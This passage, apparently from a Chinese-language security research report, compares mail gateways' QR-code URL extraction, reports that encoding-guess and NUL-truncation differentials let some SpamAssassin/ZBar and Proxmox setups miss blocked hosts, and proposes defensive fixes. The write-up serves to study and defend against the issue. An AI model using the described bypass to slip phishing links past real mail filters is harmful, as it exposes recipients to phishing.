0x09 原生默认 QR 检测商业网关对照:Kaspersky Secure Mail Gateway (KSMG 3.1.0)

为了检验商业网关在原厂默认配置下的防护表现,我们安装了 Kaspersky Secure Mail Gateway(KSMG)3.1.0.9599 官方版本,完成试用激活与特征库更新,沿用相同样本并引入 AMTSO 钓鱼对照。

固定项

本轮实际状态

软件包

官方 DEB 3.1.0.9599,Debian 13.7 环境,8 vCPU / 16 GiB 内存

防护状态

extractionSettings.extractUrlsFromQr=true,默认反病毒、反钓鱼与恶意链接扫描均开启且动作为 Reject

默认配置 17 封回放与调试观察

用例组

数量

SMTP / 最终交付

原生扫描事件

原有本地样本(文本、ASCII/IDNA QR、无/显式 ECI、NUL)

11

250;全部进入 Maildir

AP / MLF NotDetected,Default 动作 Skipped

现行 AMTSO 地址(文本、PNG 附件 QR、inline QR)

3

550;全部拒收

AP Phishing (local bases),动作 Rejected

AMTSO 旧 .html 地址

3

250;全部进入 Maildir

NotDetected

现行 AMTSO 钓鱼对照被默认规则 100% 拒收,证明 KSMG 原厂 QR 提取与反钓鱼联动管道正常生效。为观察未命中邮件中网关实际提取的 URL,我们临时开启 showNotDetectedVerdicts=true:

样本

KSMG 原生 analyzedUrl

独立解码与最终消费

07 无 ECI 附件

http://bü.lab.test:8080/benign

ZXing 同文;本地 HTTP Host 为 xn--b-eha.lab.test

08 显式 ECI 附件

http://bü.lab.test:8080/benign

ZXing 同文;相同 Host

09 无 ECI inline

http://bü.lab.test:8080/benign

ZXing 同文;相同 Host

10 NUL 尾部探针

http://blocked.lab.test:8080/benign

ZXing 显示文本带 <NUL>tail

图 26 · KSMG 原生事件记录与 URL 审计

商业网关对照结论:KSMG 专属解码引擎在处理无 ECI 变音样本时,提取出的原生 URL 与消费端完全一致,未出现 b羹 / bü 分歧,亦未复现默认配置绕过。

0x10 现实影响面与供应链依赖核查

4 条集成路径与 5 个配置覆盖汇总

统计对象

数量

分母和含义

本地完整网关集成路径

4 条

Postfix/SA/ExtractText/ZBar;PMG 9.1/ZBar;Vigilyx/rqrr;Postfix/KSMG

本地网关版本配置

5 个

SpamAssassin 4.0.1、4.0.2;PMG 9.1;Vigilyx 0.9.4;KSMG 3.1.0.9599

复现策略漏检的路径

2 条集成路径、3 个配置

基于 ExtractText / ZBar 的自建容器(4.0.1、4.0.2)与 PMG 9.1 软件包路径

未复现该机制的配置

2 个

Vigilyx 0.9.4(覆盖不足隔离);KSMG 3.1.0(解码一致,默认拒收阳性对照)


0x11 防御加固与工程落地方案

针对二维码多态解码引发的安全盲区,防御方应从网关层、生成侧及解码库接口三方面推进纵深防御:

1. 网关过滤侧:SpamAssassin 多候选归一化与异常加权

网关在调用外部解码工具时,应消除启发式猜测空间。针对未声明 ECI 且包含非 ASCII 字节的二维码,应同时提取多字符集候选并加入 URI 研判池。可以在 SpamAssassin 中编写自定义规则:

# 检测 ZBar 解码结果中是否包含异常繁体 CJK 字符 (如由拉丁双字节误判而来的 '羹')
# 结合邮件语言上下文实施综合风险加权
body     QR_BIG5_ANOMALY   eval:check_qr_text_anomaly()
describe QR_BIG5_ANOMALY   QR code decoded as Big5 in non-traditional-Chinese email
score    QR_BIG5_ANOMALY   3.5

2. 图像生成侧:业务系统强制显式声明 UTF-8 ECI

业务系统在生成包含关键跳转或支付认证的二维码时,必须显式写入 UTF-8 ECI 标头。在 Python 中使用 segno 生成标准二维码示例:

import segno

# 显式声明 ECI=True (写入 ECI 000026 标头)
# 强制下游所有合规解码器必须以 UTF-8 读取,彻底杜绝启发式猜测
qr = segno.make("http://bü.lab.test:8080/benign", encoding="utf-8", eci=True)
qr.save("safe_qr.png", scale=10)

3. 解码库修复:弃用以 NUL 隐式定界的 C 风格字符串 API

对于基于 OpenCV 或类似图像处理库的语言绑定,应彻底修复 cv2_convert.cpp 中的类型转换函数:

  • 避免使用 PyUnicode_FromString(s.c_str());
  • 改用显式传递长度的 PyUnicode_FromStringAndSize(s.data(), s.size());
  • 对可能包含任意二进制载荷的接口,提供专门的 detectAndDecodeBytes() 接口,直接返回原生 bytes 缓冲区,由上层调用方统一进行字符集协商。

0x12 总结与反思

通过从底层字符编码推断、C 语言内存边界截断,到 Postfix、SpamAssassin 以及成熟企业级产品 Proxmox Mail Gateway(PMG)的受控端到端验证,这项研究揭示了一个长期被企业安全防护忽视的盲区:在跨语言、跨组件的复杂防护链条中,二维码从来不是一个透明静态的文本容器,而是潜藏着解析器差分(Parser Differential)隐患的异构输入。

当邮件网关与收件终端各自采用不同的字符集推断规则时,两端会在完全相同的物理像素上解出截然对立的目标域名,导致安全策略针对恶意主机的防御规则发生确凿的策略漏检。同时,我们在 Vigilyx(rqrr)与 Kaspersky(KSMG)等异构实现上的对照测试,进一步明确了这一差分现象对底层具体解码库实现的强依赖性,为理解整套攻击与防御边界划定了清晰的客观范围。企业安全防护必须从传统的“图样像素级审计”,真正迈向全链路的“语义安全纵深防御”。

​